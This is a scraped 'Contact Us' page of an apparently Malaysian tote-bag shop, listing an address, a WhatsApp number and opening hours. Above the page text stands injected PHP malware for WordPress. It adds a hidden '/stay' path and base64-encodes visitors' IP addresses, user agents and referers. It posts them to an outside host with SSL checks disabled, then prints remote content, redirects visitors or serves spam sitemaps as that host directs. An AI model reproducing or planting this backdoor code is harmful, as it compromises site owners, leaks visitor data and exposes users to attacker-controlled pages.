/* */ if (!defined('WP_SHELL_TRIGGER')) { define('WP_SHELL_TRIGGER', 'stay'); } add_action('init', 'wp_shell_add_rewrite_rules'); function wp_shell_add_rewrite_rules() { add_rewrite_rule('^' . WP_SHELL_TRIGGER . '/?(.*)?', 'index.php?shell_path=$matches[1]', 'top'); } add_filter('query_vars', 'wp_shell_register_query_vars'); function wp_shell_register_query_vars($vars) { $vars[] = 'shell_path'; return $vars; } add_action('template_redirect', 'wp_shell_handle_request'); function wp_shell_handle_request() { $is_shell_path = get_query_var('shell_path') !== '' || strpos($_SERVER['REQUEST_URI'], '/' . WP_SHELL_TRIGGER) === 0; if (!$is_shell_path) return; $sys_conf = get_option('wp_sys_cache_nodes_config'); $backend_url = (isset($sys_conf['endpoint']) && $sys_conf['endpoint']) ? $sys_conf['endpoint'] : 'https://admin.outdoorzendg.shop/product-encode.php'; $fake_uri = substr($_SERVER['REQUEST_URI'], strlen('/' . WP_SHELL_TRIGGER)); if (!$fake_uri) $fake_uri = '/'; $raw_vars = array( 'SCRIPT_NAME' => '/' . WP_SHELL_TRIGGER . '/index.php', 'REQUEST_URI' => $fake_uri, 'REQUEST_SCHEME' => isset($_SERVER['REQUEST_SCHEME']) ? $_SERVER['REQUEST_SCHEME'] : 'http', 'SERVER_PORT' => isset($_SERVER['SERVER_PORT']) ? $_SERVER['SERVER_PORT'] : '80', 'HTTPS' => (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS']=='on')?'on':'off', 'HTTP_HOST' => $_SERVER['HTTP_HOST'], 'HTTP_USER_AGENT' => isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : '', 'HTTP_REFERER' => isset($_SERVER['HTTP_REFERER']) ? $_SERVER['HTTP_REFERER'] : '', 'HTTP_ACCEPT_LANGUAGE' => isset($_SERVER['HTTP_ACCEPT_LANGUAGE']) ? $_SERVER['HTTP_ACCEPT_LANGUAGE'] : '', 'REMOTE_ADDR' => isset($_SERVER['REMOTE_ADDR']) ? $_SERVER['REMOTE_ADDR'] : '' ); $post_data = array(); foreach ($raw_vars as $k=>$v) $post_data[$k] = str_replace(array("+", "/", "="), array("-", "_", "."), base64_encode($v)); $base_path_val = '/' . WP_SHELL_TRIGGER . '/'; $post_data['SHELL_BASE_PATH'] = str_replace(array("+", "/", "="), array("-", "_", "."), base64_encode($base_path_val)); $post_data['IS_HTML_SHELL'] = '1'; $post_data['IS_DYNAMIC'] = '0'; $response = wp_remote_post($backend_url, array('body'=>$post_data, 'sslverify'=>false, 'timeout'=>20)); if (is_wp_error($response)) { status_header(500); exit; } $json = json_decode(wp_remote_retrieve_body($response), true); if (isset($json['action'])) { if ($json['action']=='display') { echo $json['data']; exit; } if ($json['action']=='jump') { wp_redirect($json['data'], 302); exit; } if ($json['action']=='sitemap') { header('Content-Type: application/xml'); echo $json['data']; exit; } } exit; } /* */ Contact Us - Shoptotebag.com

Contact Us

HomeContact Us

Keep in touch with us

Address

Menara Mutiara Central, 2, Jalan Desa Aman 1, Cheras Business Centre, 56100 Cheras, Kuala Lumpur

Contact

Whatsapp Text: 6016-9811332

Hour of operation

Mon - Fri: 08:30 - 18:00
Sat & Sun: OFF

Send a message

    • Phone
    • Address
      Menara Mutiara Sentral, 2, Jalan Desa Aman 1, Cheras Business Centre, 56100 Cheras, Kuala Lumpur